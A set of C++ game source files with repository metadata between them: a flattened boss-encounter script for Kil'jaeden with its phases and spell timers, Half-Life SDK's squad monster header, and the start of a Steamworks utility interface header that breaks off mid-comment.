CreatureAI* GetAI_mob_kiljaeden_controller(Creature* pCreature) { return new mob_kiljaeden_controllerAI (pCreature); } //AI for Kil'jaeden struct boss_kiljaedenAI : public Scripted_NoMovementAI { boss_kiljaedenAI(Creature* c) : Scripted_NoMovementAI(c), summons(me) { pInstance = (ScriptedInstance*)c->GetInstanceData(); } ScriptedInstance* pInstance; SummonList summons; uint8 Phase; uint8 ActiveTimers; uint32 SpeechTimer; uint32 Timer[10]; uint32 WaitTimer; uint8 speechCount; uint8 speechPhaseEnd; /* Boolean */ bool IsInDarkness; bool TimerIsDeactivated[10]; bool IsWaiting; bool OrbActivated; bool SpeechBegins; void InitializeAI() { Scripted_NoMovementAI::InitializeAI(); } void Reset() { TimerIsDeactivated[TIMER_SPEECH] = false; Timer[TIMER_SPEECH] = 0; //Phase 2 Timer Timer[TIMER_SOUL_FLAY] = 11000; Timer[TIMER_LEGION_LIGHTNING] = 30000; Timer[TIMER_FIRE_BLOOM] = 20000; Timer[TIMER_SUMMON_SHILEDORB] = 35000; //Phase 3 Timer Timer[TIMER_SHADOW_SPIKE] = 4000; Timer[TIMER_FLAME_DART] = 3000; Timer[TIMER_DARKNESS] = 45000; Timer[TIMER_ORBS_EMPOWER] = 35000; //Phase 4 Timer Timer[TIMER_ARMAGEDDON] = 2000; ActiveTimers = 5; WaitTimer = 0; speechCount = 0; SpeechTimer = 0; Phase = PHASE_NORMAL; IsInDarkness = false; IsWaiting = false; OrbActivated = false; SpeechBegins = true; if (pInstance) { if (Creature* pKalec = Unit::GetCreature(*me, pInstance->GetData64(DATA_KALECGOS_KJ))) pKalec->RemoveDynObject(SPELL_RING_OF_BLUE_FLAMES); } me->SetFloatValue(UNIT_FIELD_COMBATREACH, 12); ChangeTimers(false, 0); summons.DespawnAll(); } void ChangeTimers(bool status, uint32 WTimer) { for (uint8 i = 1; i < ActiveTimers; ++i) TimerIsDeactivated[i] = status; if (WTimer > 0) { IsWaiting = true; WaitTimer = WTimer; } if (OrbActivated) TimerIsDeactivated[TIMER_ORBS_EMPOWER] = true; if (Timer[TIMER_SHADOW_SPIKE] == 0) TimerIsDeactivated[TIMER_SHADOW_SPIKE] = true; if (Phase == PHASE_SACRIFICE) TimerIsDeactivated[TIMER_SUMMON_SHILEDORB] = true; } void JustSummoned(Creature* summoned) { switch (summoned->GetEntry()) { case CREATURE_ARMAGEDDON_TARGET: summoned->SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NOT_SELECTABLE); summoned->SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NON_ATTACKABLE); break; case CREATURE_SINISTER_REFLECTION: break; default: summoned->SetLevel(me->getLevel()); break; } summoned->SetFaction(me->GetFaction()); summons.Summon(summoned); } void JustDied(Unit* /*killer*/) { DoScriptText(SAY_KJ_DEATH, me); summons.DespawnAll(); me->SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NOT_SELECTABLE); if (pInstance) pInstance->SetData(DATA_KILJAEDEN_EVENT, DONE); if (Creature *controller = pInstance->instance->GetCreature(pInstance->GetData64(DATA_KILJAEDEN_CONTROLLER))) { controller->SetFaction(35); controller->RemoveAllAuras(); controller->DeleteThreatList(); controller->CombatStop(); } } void KilledUnit(Unit* /*victim*/) { DoScriptText(RAND(SAY_KJ_SLAY1, SAY_KJ_SLAY2), me); } void EnterEvadeMode() { Scripted_NoMovementAI::EnterEvadeMode(); summons.DespawnAll(); // Reset the controller if (pInstance) if (Creature* pControl = Unit::GetCreature(*me, pInstance->GetData64(DATA_KILJAEDEN_CONTROLLER))) CAST_AI(mob_kiljaeden_controllerAI, pControl->AI())->Reset(); } void EnterCombat(Unit* /*who*/) { DoZoneInCombat(); } void EnterNextPhase() { SpeechBegins = true; OrbActivated = false; ChangeTimers(true, 0);//stop every cast Shadow spike will reactivate em all TimerIsDeactivated[TIMER_SHADOW_SPIKE] = false; Timer[TIMER_SHADOW_SPIKE] = 100; // empowered orbs before darkness Timer[TIMER_DARKNESS] = (Phase == PHASE_SACRIFICE) ? 15000 : urand(10000, 40000); Timer[TIMER_ORBS_EMPOWER] = (Phase == PHASE_SACRIFICE) ? 10000 : 5000; } void UpdateAI(const uint32 diff) { if (!UpdateVictim() || Phase < PHASE_NORMAL) return; if (IsWaiting) { if (WaitTimer <= diff) { IsWaiting = false; ChangeTimers(false, 0); } else WaitTimer -= diff; } for (uint8 t = 0; t < ActiveTimers; ++t) { if (Timer[t] <= diff && !TimerIsDeactivated[t]) { switch (t) { case TIMER_SPEECH: if (SpeechBegins) { SpeechBegins = false; switch (Phase) { case PHASE_NORMAL: speechPhaseEnd = 1; break; case PHASE_DARKNESS: speechPhaseEnd = 4; break; case PHASE_ARMAGEDDON: speechPhaseEnd = 7; break; case PHASE_SACRIFICE: speechPhaseEnd = 12; break; } } if (Speeches[speechCount].timer < SpeechTimer) { SpeechTimer = 0; if (pInstance) if (Creature* pSpeechCreature = Unit::GetCreature(*me, pInstance->GetData64(Speeches[speechCount].pCreature))) DoScriptText(Speeches[speechCount].textid, pSpeechCreature); if (speechCount == 12) if (Creature* pAnveena = Unit::GetCreature(*me, pInstance->GetData64(DATA_ANVEENA))) pAnveena->CastSpell(me, SPELL_SACRIFICE_OF_ANVEENA, false); // ChangeTimers(true, 10000); // Kil should do an emote while screaming without attacking for 10 seconds if (speechCount == speechPhaseEnd) TimerIsDeactivated[TIMER_SPEECH] = true; speechCount++; } SpeechTimer += diff; break; case TIMER_SOUL_FLAY: if (!me->IsNonMeleeSpellCast(false)) { DoCastVictim( SPELL_SOUL_FLAY_SLOW, false); DoCastVictim( SPELL_SOUL_FLAY, false); Timer[TIMER_SOUL_FLAY] = 3500; } break; case TIMER_LEGION_LIGHTNING: if (!me->IsNonMeleeSpellCast(false)) { Unit* pRandomPlayer = NULL; me->RemoveAurasDueToSpell(SPELL_SOUL_FLAY); for (uint8 z = 0; z < 6; ++z) { pRandomPlayer = SelectTarget(SELECT_TARGET_RANDOM, 0, 100, true); if (!pRandomPlayer || !pRandomPlayer->HasAura(SPELL_VENGEANCE_OF_THE_BLUE_FLIGHT, 0)) break; } if (pRandomPlayer) DoCast(pRandomPlayer, SPELL_LEGION_LIGHTNING, false); else error_log("try to cast SPELL_LEGION_LIGHTNING on invalid target"); Timer[TIMER_LEGION_LIGHTNING] = (Phase == PHASE_SACRIFICE) ? 18000 : 30000; // 18 seconds in PHASE_SACRIFICE Timer[TIMER_SOUL_FLAY] = 2500; } break; case TIMER_FIRE_BLOOM: if (!me->IsNonMeleeSpellCast(false)) { me->RemoveAurasDueToSpell(SPELL_SOUL_FLAY); DoCastAOE(SPELL_FIRE_BLOOM, false); Timer[TIMER_FIRE_BLOOM] = (Phase == PHASE_SACRIFICE) ? 25000 : 40000; // 25 seconds in PHASE_SACRIFICE Timer[TIMER_SOUL_FLAY] = 1000; } break; case TIMER_SUMMON_SHILEDORB: for (uint8 i = 1; i < Phase; ++i) { float sx, sy; sx = ShieldOrbLocations[0][0] + sin(ShieldOrbLocations[i][0]); sy = ShieldOrbLocations[0][1] + sin(ShieldOrbLocations[i][1]); me->SummonCreature(CREATURE_SHIELD_ORB, sx, sy, SHIELD_ORB_Z, 0, TEMPSUMMON_TIMED_OR_CORPSE_DESPAWN, 45000); } Timer[TIMER_SUMMON_SHILEDORB] = urand(30000, 60000); // 30-60seconds cooldown Timer[TIMER_SOUL_FLAY] = 2000; break; case TIMER_SHADOW_SPIKE: //Phase 3 if (!me->IsNonMeleeSpellCast(false)) { DoCastAOE(SPELL_SINISTER_REFLECTION, true); DoCastAOE(SPELL_SHADOW_SPIKE, false); ChangeTimers(true, 30000); Timer[TIMER_SHADOW_SPIKE] = 0; TimerIsDeactivated[TIMER_SPEECH] = false; } break; case TIMER_FLAME_DART: //Phase 3 DoCastAOE(SPELL_FLAME_DART, false); Timer[TIMER_FLAME_DART] = 3000; //TODO Timer break; case TIMER_DARKNESS: //Phase 3 if (!me->IsNonMeleeSpellCast(false)) { // Begins to channel for 8 seconds, then deals 50'000 damage to all raid members. if (!IsInDarkness) { DoScriptText(EMOTE_KJ_DARKNESS, me); DoCastAOE(SPELL_DARKNESS_OF_A_THOUSAND_SOULS, false); ChangeTimers(true, 9000); Timer[TIMER_DARKNESS] = 8750; TimerIsDeactivated[TIMER_DARKNESS] = false; if (Phase == PHASE_SACRIFICE) TimerIsDeactivated[TIMER_ARMAGEDDON] = false; IsInDarkness = true; } else { Timer[TIMER_DARKNESS] = (Phase == PHASE_SACRIFICE) ? 15000 : urand(40000, 70000); IsInDarkness = false; DoCastAOE(SPELL_DARKNESS_OF_A_THOUSAND_SOULS_DAMAGE); DoScriptText(RAND(SAY_KJ_DARKNESS1, SAY_KJ_DARKNESS2, SAY_KJ_DARKNESS3), me); } Timer[TIMER_SOUL_FLAY] = 9000; } break; case TIMER_ORBS_EMPOWER: //Phase 3 if (pInstance) if (Creature* pKalec = Unit::GetCreature(*me, pInstance->GetData64(DATA_KALECGOS_KJ))) { switch (Phase) { case PHASE_SACRIFICE: CAST_AI(boss_kalecgos_kjAI, pKalec->AI())->EmpowerOrb(true); break; default: CAST_AI(boss_kalecgos_kjAI, pKalec->AI())->EmpowerOrb(false); break; } } OrbActivated = true; TimerIsDeactivated[TIMER_ORBS_EMPOWER] = true; break; case TIMER_ARMAGEDDON: //Phase 4 DoCast(me, SPELL_ARMAGEDDON_SUMMON_TRIGGER, true); Timer[TIMER_ARMAGEDDON] = 26000; break; } } } DoMeleeAttackIfReady(); //Time runs over! for (uint8 i = 0; i < ActiveTimers; ++i) if (!TimerIsDeactivated[i]) { Timer[i] -= diff; if (((int32)Timer[i]) < 0) Timer[i] = 0; } //Phase 3 if (Phase <= PHASE_NORMAL && !IsInDarkness) { if (Phase == PHASE_NORMAL && HealthBelowPct(85)) { Phase = PHASE_DARKNESS; ActiveTimers = 9; EnterNextPhase(); } else return; } //Phase 4 if (Phase <= PHASE_DARKNESS && !IsInDarkness) { if (Phase == PHASE_DARKNESS && HealthBelowPct(55)) { Phase = PHASE_ARMAGEDDON; ActiveTimers = 10; EnterNextPhase(); } else return; } //Phase 5 specific spells all we can if (Phase <= PHASE_ARMAGEDDON && !IsInDarkness) { if (Phase == PHASE_ARMAGEDDON && HealthBelowPct(25)) { Phase = PHASE_SACRIFICE; EnterNextPhase(); } else return; } } }; CreatureAI* GetAI_boss_kiljaeden(Creature* pCreature) { return new boss_kiljaedenAI (pCreature); } //AI for Hand of the Deceiver struct mob_hand_of_the_deceiverAI : public ScriptedAI { mob_hand_of_the_deceiverAI(Creature* c) : ScriptedAI(c) { pInstance = (ScriptedInstance*)c->GetInstanceData(); } ScriptedInstance* pInstance; uint32 ShadowBoltVolleyTimer; uint32 FelfirePortalTimer; void Reset() { // @todo Timers! ShadowBoltVolleyTimer = urand(8000, 14000); // So they don't all cast it in the same moment. FelfirePortalTimer = 20000; if (pInstance) pInstance->SetData(DATA_KILJAEDEN_EVENT, NOT_STARTED); } void JustSummoned(Creature* summoned) { summoned->SetFaction(me->GetFaction()); summoned->SetLevel(me->getLevel()); } void EnterCombat(Unit* who) { if (pInstance) { pInstance->SetData(DATA_KILJAEDEN_EVENT, IN_PROGRESS); if (Creature* pControl = Unit::GetCreature(*me, pInstance->GetData64(DATA_KILJAEDEN_CONTROLLER))) pControl->AddThreat(who, 1.0f); } me->InterruptNonMeleeSpells(true); } void JustDied(Unit* /*killer*/) { if (!pInstance) return; if (Creature* pControl = Unit::GetCreature(*me, pInstance->GetData64(DATA_KILJAEDEN_CONTROLLER))) ++(CAST_AI(mob_kiljaeden_controllerAI, pControl->AI())->deceiverDeathCount); } void UpdateAI(const uint32 diff) { if (!me->IsInCombat()) DoCast(me, SPELL_SHADOW_CHANNELING); if (!UpdateVictim()) return; // Gain Shadow Infusion at 20% health if (HealthBelowPct(20) && !me->HasAura(SPELL_SHADOW_INFUSION, 0)) DoCast(me, SPELL_SHADOW_INFUSION, true); // Shadow Bolt Volley - Shoots Shadow Bolts at all enemies within 30 yards, for ~2k Shadow damage. if (ShadowBoltVolleyTimer <= diff) { DoCastVictim( SPELL_SHADOW_BOLT_VOLLEY); ShadowBoltVolleyTimer = 12000; } else ShadowBoltVolleyTimer -= diff; // Felfire Portal - Creatres a portal, that spawns Volatile Felfire Fiends, which do suicide bombing. if (FelfirePortalTimer <= diff) { DoCast(me, SPELL_FELFIRE_PORTAL); FelfirePortalTimer = 20000; } else FelfirePortalTimer -= diff; DoMeleeAttackIfReady(); } }; CreatureAI* GetAI_mob_hand_of_the_deceiver(Creature* pCreature) { return new mob_hand_of_the_deceiverAI (pCreature); } //AI for Felfire Portal struct mob_felfire_portalAI : public Scripted_NoMovementAI { mob_felfire_portalAI(Creature* c) : Scripted_NoMovementAI(c) {} uint32 uiSpawnFiendTimer; void Reset() { uiSpawnFiendTimer = 5000; me->SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NOT_SELECTABLE | UNIT_FLAG_NON_ATTACKABLE); } void JustSummoned(Creature* summoned) { summoned->SetFaction(me->GetFaction()); summoned->SetLevel(me->getLevel()); } void UpdateAI(const uint32 diff) { if (!UpdateVictim()) return; if (uiSpawnFiendTimer <= diff) { DoCast(me, SPELL_SUMMON_FELFIRE_FIEND); uiSpawnFiendTimer = urand(4000, 8000); } else uiSpawnFiendTimer -= diff; } }; CreatureAI* GetAI_mob_felfire_portal(Creature* pCreature) { return new mob_felfire_portalAI (pCreature); } //AI for Felfire Fiend struct mob_volatile_felfire_fiendAI : public ScriptedAI { mob_volatile_felfire_fiendAI(Creature* c) : ScriptedAI(c) { pInstance = (ScriptedInstance*)c->GetInstanceData(); } ScriptedInstance* pInstance; uint32 uiExplodeTimer; uint32 uiKillTimer; bool bLockedTarget; void Reset() { uiExplodeTimer = 2000; uiKillTimer = 0; DoZoneInCombatWithPlayers(true); bLockedTarget = false; } void DamageTaken(Unit* /*done_by*/, uint32& damage) { if (damage > me->GetHealth()) DoCast(me, SPELL_FELFIRE_FISSION, true); } void UpdateAI(const uint32 diff) { if (pInstance && pInstance->GetData(DATA_KILJAEDEN_EVENT) == NOT_STARTED) me->DisappearAndDie(); if (!UpdateVictim()) return; if (!bLockedTarget) { me->AddThreat(me->GetVictim(), 10000000.0f); bLockedTarget = true; } if (uiExplodeTimer) { if (uiExplodeTimer <= diff) uiExplodeTimer = 0; else uiExplodeTimer -= diff; } else if (me->IsWithinDistInMap(me->GetVictim(), 3)) // Explode if it's close enough to it's target { DoCastVictim( SPELL_FELFIRE_FISSION); uiKillTimer = 500; } if (uiKillTimer) { if (uiKillTimer <= diff) me->DisappearAndDie(); else uiKillTimer -= diff; } } }; CreatureAI* GetAI_mob_volatile_felfire_fiend(Creature* pCreature) { return new mob_volatile_felfire_fiendAI (pCreature); } //AI for Armageddon target struct mob_armageddonAI : public Scripted_NoMovementAI { mob_armageddonAI(Creature* c) : Scripted_NoMovementAI(c) {} uint8 spell; uint32 uiTimer; void Reset() { spell = 0; uiTimer = 0; } void UpdateAI(const uint32 diff) { if (uiTimer <= diff) { switch (spell) { case 0: DoCast(me, SPELL_ARMAGEDDON_VISUAL, true); ++spell; break; case 1: DoCast(me, SPELL_ARMAGEDDON_VISUAL2, true); uiTimer = 9000; ++spell; break; case 2: DoCast(me, SPELL_ARMAGEDDON_TRIGGER, true); ++spell; uiTimer = 5000; break; case 3: me->DisappearAndDie(); break; } } else uiTimer -= diff; } }; CreatureAI* GetAI_mob_armageddon(Creature* pCreature) { return new mob_armageddonAI (pCreature); } //AI for Shield Orbs struct mob_shield_orbAI : public ScriptedAI { mob_shield_orbAI(Creature* c) : ScriptedAI(c) { pInstance = (ScriptedInstance*)c->GetInstanceData(); } ScriptedInstance* pInstance; bool bPointReached; bool bClockwise; uint32 uiTimer; uint32 uiCheckTimer; float x, y, r, c, mx, my; void Reset() { bPointReached = true; uiTimer = urand(500, 1000); uiCheckTimer = 2000; r = 17; c = 0; mx = ShieldOrbLocations[0][0]; my = ShieldOrbLocations[0][1]; bClockwise = urand(0, 1); DoZoneInCombatWithPlayers(true); } void UpdateAI(const uint32 diff) { if (bPointReached) { if (bClockwise) { y = my - r * sin(c); x = mx - r * cos(c); } else { y = my + r * sin(c); x = mx + r * cos(c); } bPointReached = false; uiCheckTimer = 1000; me->GetMotionMaster()->MovePoint(1, x, y, SHIELD_ORB_Z); c += float(M_PI) / 32; if (c >= 2 * M_PI) c = 0; } else { if (uiCheckTimer <= diff) bPointReached = true; else uiCheckTimer -= diff; } if (uiTimer <= diff) { if (Unit* random = Unit::GetUnit(*me, pInstance ? pInstance->GetData64(DATA_PLAYER_GUID) : 0)) DoCast(random, SPELL_SHADOW_BOLT, false); uiTimer = urand(500, 1000); } else uiTimer -= diff; } void MovementInform(uint32 type, uint32 /*id*/) { if (type != POINT_MOTION_TYPE) return; bPointReached = true; } }; CreatureAI* GetAI_mob_shield_orb(Creature* pCreature) { return new mob_shield_orbAI (pCreature); } //AI for Sinister Reflection struct mob_sinster_reflectionAI : public ScriptedAI { mob_sinster_reflectionAI(Creature* c) : ScriptedAI(c) {} uint8 victimClass; uint32 uiTimer[3]; void Reset() { uiTimer[0] = 0; uiTimer[1] = 0; uiTimer[2] = 0; victimClass = 0; } void UpdateAI(const uint32 diff) { if (!UpdateVictim()) return; if ((victimClass == 0) && me->GetVictim()) { victimClass = me->GetVictim()->getClass(); switch (victimClass) { case CLASS_DRUID: break; case CLASS_HUNTER: break; case CLASS_MAGE: break; case CLASS_WARLOCK: break; case CLASS_WARRIOR: me->SetCanDualWield(true); break; case CLASS_PALADIN: break; case CLASS_PRIEST: break; case CLASS_SHAMAN: me->SetCanDualWield(true); break; case CLASS_ROGUE: me->SetCanDualWield(true); break; } } switch (victimClass) { case CLASS_DRUID: if (uiTimer[1] <= diff) { DoCastVictim( SPELL_SR_MOONFIRE, false); uiTimer[1] = urand(2000, 4000); } DoMeleeAttackIfReady(); break; case CLASS_HUNTER: if (uiTimer[1] <= diff) { DoCastVictim( SPELL_SR_MULTI_SHOT, false); uiTimer[1] = urand(8000, 10000); } if (uiTimer[2] <= diff) { DoCastVictim( SPELL_SR_SHOOT, false); uiTimer[2] = urand(4000, 6000); } if (me->IsWithinMeleeRange(me->GetVictim(), 6)) { if (uiTimer[0] <= diff) { DoCastVictim( SPELL_SR_MULTI_SHOT, false); uiTimer[0] = urand(6000, 8000); } DoMeleeAttackIfReady(); } break; case CLASS_MAGE: if (uiTimer[1] <= diff) { DoCastVictim( SPELL_SR_FIREBALL, false); uiTimer[1] = urand(2000, 4000); } DoMeleeAttackIfReady(); break; case CLASS_WARLOCK: if (uiTimer[1] <= diff) { DoCastVictim( SPELL_SR_SHADOW_BOLT, false); uiTimer[1] = urand(3000, 5000); } if (uiTimer[2] <= diff) { DoCast(SelectTarget(SELECT_TARGET_RANDOM, 0, 100, true), SPELL_SR_CURSE_OF_AGONY, true); uiTimer[2] = urand(2000, 4000); } DoMeleeAttackIfReady(); break; case CLASS_WARRIOR: if (uiTimer[1] <= diff) { DoCastVictim( SPELL_SR_WHIRLWIND, false); uiTimer[1] = urand(9000, 11000); } DoMeleeAttackIfReady(); break; case CLASS_PALADIN: if (uiTimer[1] <= diff) { DoCastVictim( SPELL_SR_HAMMER_OF_JUSTICE, false); uiTimer[1] = urand(6000, 8000); } if (uiTimer[2] <= diff) { DoCastVictim( SPELL_SR_HOLY_SHOCK, false); uiTimer[2] = urand(2000, 4000); } DoMeleeAttackIfReady(); break; case CLASS_PRIEST: if (uiTimer[1] <= diff) { DoCastVictim( SPELL_SR_HOLY_SMITE, false); uiTimer[1] = urand(4000, 6000); } if (uiTimer[2] <= diff) { DoCast(me, SPELL_SR_RENEW, false); uiTimer[2] = urand(6000, 8000); } DoMeleeAttackIfReady(); break; case CLASS_SHAMAN: if (uiTimer[1] <= diff) { DoCastVictim( SPELL_SR_EARTH_SHOCK, false); uiTimer[1] = urand(4000, 6000); } DoMeleeAttackIfReady(); break; case CLASS_ROGUE: if (uiTimer[1] <= diff) { DoCastVictim( SPELL_SR_HEMORRHAGE, true); uiTimer[1] = urand(4000, 6000); } DoMeleeAttackIfReady(); break; } debug_log("Sinister-Timer"); for (uint8 i = 0; i < 3; ++i) uiTimer[i] -= diff; } }; CreatureAI* GetAI_mob_sinster_reflection(Creature* pCreature) { return new mob_sinster_reflectionAI (pCreature); } void AddSC_boss_kiljaeden() { Script* newscript; newscript = new Script; newscript->pGOHello = &GOHello_go_orb_of_the_blue_flight; newscript->Name = "go_orb_of_the_blue_flight"; newscript->RegisterSelf(); newscript = new Script; newscript->GetAI = &GetAI_boss_kalecgos_kj; newscript->Name = "boss_kalecgos_kj"; newscript->RegisterSelf(); newscript = new Script; newscript->GetAI = &GetAI_boss_kiljaeden; newscript->Name = "boss_kiljaeden"; newscript->RegisterSelf(); newscript = new Script; newscript->GetAI = &GetAI_mob_kiljaeden_controller; newscript->Name = "mob_kiljaeden_controller"; newscript->RegisterSelf(); newscript = new Script; newscript->GetAI = &GetAI_mob_hand_of_the_deceiver; newscript->Name = "mob_hand_of_the_deceiver"; newscript->RegisterSelf(); newscript = new Script; newscript->GetAI = &GetAI_mob_felfire_portal; newscript->Name = "mob_felfire_portal"; newscript->RegisterSelf(); newscript = new Script; newscript->GetAI = &GetAI_mob_volatile_felfire_fiend; newscript->Name = "mob_volatile_felfire_fiend"; newscript->RegisterSelf(); newscript = new Script; newscript->GetAI = &GetAI_mob_armageddon; newscript->Name = "mob_armageddon"; newscript->RegisterSelf(); newscript = new Script; newscript->GetAI = &GetAI_mob_shield_orb; newscript->Name = "mob_shield_orb"; newscript->RegisterSelf(); newscript = new Script; newscript->GetAI = &GetAI_mob_sinster_reflection; newscript->Name = "mob_sinster_reflection"; newscript->RegisterSelf(); }
0
0.984561
1
0.984561
game-dev
MEDIA
0.995147
game-dev
0.583284
1
0.583284
twhl-community/halflife-updated
4,036
dlls/squadmonster.h
/*** * * Copyright (c) 1996-2001, Valve LLC. All rights reserved. * * This product contains software technology licensed from Id * Software, Inc. ("Id Technology"). Id Technology (c) 1996 Id Software, Inc. * All Rights Reserved. * * This source code contains proprietary and confidential information of * Valve LLC and its suppliers. Access to this code is restricted to * persons who have executed a written SDK license with Valve. Any access, * use or distribution of this code by or to any unlicensed person is illegal. * ****/ #pragma once //========================================================= // CSquadMonster - all the extra data for monsters that // form squads. //========================================================= #define SF_SQUADMONSTER_LEADER 32 #define bits_NO_SLOT 0 // HUMAN GRUNT SLOTS #define bits_SLOT_HGRUNT_ENGAGE1 (1 << 0) #define bits_SLOT_HGRUNT_ENGAGE2 (1 << 1) #define bits_SLOTS_HGRUNT_ENGAGE (bits_SLOT_HGRUNT_ENGAGE1 | bits_SLOT_HGRUNT_ENGAGE2) #define bits_SLOT_HGRUNT_GRENADE1 (1 << 2) #define bits_SLOT_HGRUNT_GRENADE2 (1 << 3) #define bits_SLOTS_HGRUNT_GRENADE (bits_SLOT_HGRUNT_GRENADE1 | bits_SLOT_HGRUNT_GRENADE2) // ALIEN GRUNT SLOTS #define bits_SLOT_AGRUNT_HORNET1 (1 << 4) #define bits_SLOT_AGRUNT_HORNET2 (1 << 5) #define bits_SLOT_AGRUNT_CHASE (1 << 6) #define bits_SLOTS_AGRUNT_HORNET (bits_SLOT_AGRUNT_HORNET1 | bits_SLOT_AGRUNT_HORNET2) // HOUNDEYE SLOTS #define bits_SLOT_HOUND_ATTACK1 (1 << 7) #define bits_SLOT_HOUND_ATTACK2 (1 << 8) #define bits_SLOT_HOUND_ATTACK3 (1 << 9) #define bits_SLOTS_HOUND_ATTACK (bits_SLOT_HOUND_ATTACK1 | bits_SLOT_HOUND_ATTACK2 | bits_SLOT_HOUND_ATTACK3) // global slots #define bits_SLOT_SQUAD_SPLIT (1 << 10) // squad members don't all have the same enemy #define NUM_SLOTS 11 // update this every time you add/remove a slot. #define MAX_SQUAD_MEMBERS 5 //========================================================= // CSquadMonster - for any monster that forms squads. //========================================================= class CSquadMonster : public CBaseMonster { public: // squad leader info EHANDLE m_hSquadLeader; // who is my leader EHANDLE m_hSquadMember[MAX_SQUAD_MEMBERS - 1]; // valid only for leader int m_afSquadSlots; float m_flLastEnemySightTime; // last time anyone in the squad saw the enemy bool m_fEnemyEluded; // squad member info int m_iMySlot; // this is the behaviour slot that the monster currently holds in the squad. bool CheckEnemy(CBaseEntity* pEnemy) override; void StartMonster() override; void VacateSlot(); void ScheduleChange() override; void Killed(entvars_t* pevAttacker, int iGib) override; bool OccupySlot(int iDesiredSlot); bool NoFriendlyFire(); // squad functions still left in base class CSquadMonster* MySquadLeader() { CSquadMonster* pSquadLeader = (CSquadMonster*)((CBaseEntity*)m_hSquadLeader); if (pSquadLeader != NULL) return pSquadLeader; return this; } CSquadMonster* MySquadMember(int i) { if (i >= MAX_SQUAD_MEMBERS - 1) return this; else return (CSquadMonster*)((CBaseEntity*)m_hSquadMember[i]); } bool InSquad() { return m_hSquadLeader != NULL; } bool IsLeader() { return m_hSquadLeader == this; } int SquadJoin(int searchRadius); int SquadRecruit(int searchRadius, int maxMembers); int SquadCount(); void SquadRemove(CSquadMonster* pRemove); void SquadUnlink(); bool SquadAdd(CSquadMonster* pAdd); void SquadDisband(); void SquadAddConditions(int iConditions); void SquadMakeEnemy(CBaseEntity* pEnemy); void SquadPasteEnemyInfo(); void SquadCopyEnemyInfo(); bool SquadEnemySplit(); bool SquadMemberInRange(const Vector& vecLocation, float flDist); CSquadMonster* MySquadMonsterPointer() override { return this; } static TYPEDESCRIPTION m_SaveData[]; bool Save(CSave& save) override; bool Restore(CRestore& restore) override; bool FValidateCover(const Vector& vecCoverLocation) override; MONSTERSTATE GetIdealState() override; Schedule_t* GetScheduleOfType(int iType) override; };
0
0.985529
1
0.985529
game-dev
MEDIA
0.9293
game-dev
0.850091
1
0.850091
Caverns4/Sonic-2-Retold-PC
2,586
Scripts/Global/SoundDriver.gd
extends Node # Music var musicParent = null var music: AudioStreamPlayer = null var life: AudioStreamPlayer = null # index for current theme var currentTheme = 0 # The Audio Resource that is the currently playing song. # Used to avoid the same song being queued twice, # unless the queue request is agnostic. var currentMusic = null # song themes to play for things like invincibility and speed shoes enum THEME{NORMAL,INVINCIBLE,SPEED,SUPER,BOSS,DROWN,RESULTS} var themes = [ null, # Level Music preload("res://Audio/Soundtrack/s2br_Invincible.ogg"), # INVINCIBLE preload("res://Audio/Soundtrack/s2br_SuperSonic.ogg"), # SPEED preload("res://Audio/Soundtrack/s2br_SuperSonic2.ogg"), # SUPER preload("res://Audio/Soundtrack/s2br_Boss.ogg"), # BOSS preload("res://Audio/Soundtrack/s2br_drowning.ogg"), #DROWN preload("res://Audio/Soundtrack/s2br_Result.ogg")] # RESULTS # Sound, used for play_sound (used for a global sound, use this if multiple nodes use the same sound) var soundChannel = AudioStreamPlayer.new() #Alternate global Sound player var soundChannel2 = AudioStreamPlayer.new() func _ready() -> void: # set sound settings add_child(soundChannel) soundChannel.bus = "SFX" add_child(soundChannel2) soundChannel2.bus = "SFX" # use this to play a sound globally, use load("res:..") or a preloaded sound func play_sound(sound = null): if sound != null: soundChannel.stream = sound soundChannel.play() func play_sound2(sound = null): if sound != null: soundChannel2.stream = sound soundChannel2.play() #Logically pick which song should be picked. func playNormalMusic(): # Heirarchy: # Assume theme is 0 by default if Global.stageClearPhase > 0: return currentTheme = THEME.NORMAL # Assume normal level Theme for i in Global.players: if i.shoeTime > 0 and currentTheme == THEME.NORMAL: currentTheme = THEME.SPEED if i.supTime > 0: if !i.isSuper: if currentTheme != THEME.SUPER: currentTheme = THEME.INVINCIBLE else: currentTheme = THEME.SUPER #Boss theme unless Super if Global.fightingBoss: if !Global.players[0].isSuper: currentTheme = THEME.BOSS #Boss theme unless Super else: currentTheme = THEME.SUPER #Boss theme unless Super playMusic(themes[currentTheme],false) ## Play Arg1, unless it matches the current song and arg2 is false. func playMusic(musID = null,agnostic = false): #If agnostic is set, the song is queued even if the same song is playing. if musID and (musID != currentMusic) or (agnostic): SoundDriver.music.stream = musID SoundDriver.music.play() currentMusic = musID
0
0.756881
1
0.756881
game-dev
MEDIA
0.734227
game-dev
0.923316
1
0.923316
natbro/kaon
13,034
lsteamclient/lsteamclient/steamworks_sdk_129a/isteamutils.h
//====== Copyright � 1996-2008, Valve Corporation, All rights reserved. ======= // // Purpose: interface to utility functions in Steam // //============================================================================= #ifndef ISTEAMUTILS_H #define ISTEAMUTILS_H #ifdef _WIN32 #pragma once #endif #include "isteamclient.h" // Steam API call failure results enum ESteamAPICallFailure { k_ESteamAPICallFailureNone = -1, // no failure k_ESteamAPICallFailureSteamGone = 0, // the local Steam process has gone away k_ESteamAPICallFailureNetworkFailure = 1, // the network connection to Steam has been broken, or was already broken // SteamServersDisconnected_t callback will be sent around the same time // SteamServersConnected_t will be sent when the client is able to talk to the Steam servers again k_ESteamAPICallFailureInvalidHandle = 2, // the SteamAPICall_t handle passed in no longer exists k_ESteamAPICallFailureMismatchedCallback = 3,// GetAPICallResult() was called with the wrong callback type for this API call }; // Input modes for the Big Picture gamepad text entry enum EGamepadTextInputMode { k_EGamepadTextInputModeNormal = 0, k_EGamepadTextInputModePassword = 1 }; // Controls number of allowed lines for the Big Picture gamepad text entry enum EGamepadTextInputLineMode { k_EGamepadTextInputLineModeSingleLine = 0, k_EGamepadTextInputLineModeMultipleLines = 1 }; // function prototype for warning message hook #if defined( POSIX ) #define __cdecl #endif extern "C" typedef void (__cdecl *SteamAPIWarningMessageHook_t)(int, const char *); //----------------------------------------------------------------------------- // Purpose: interface to user independent utility functions //----------------------------------------------------------------------------- class ISteamUtils { public: // return the number of seconds since the user virtual uint32 GetSecondsSinceAppActive() = 0; virtual uint32 GetSecondsSinceComputerActive() = 0; // the universe this 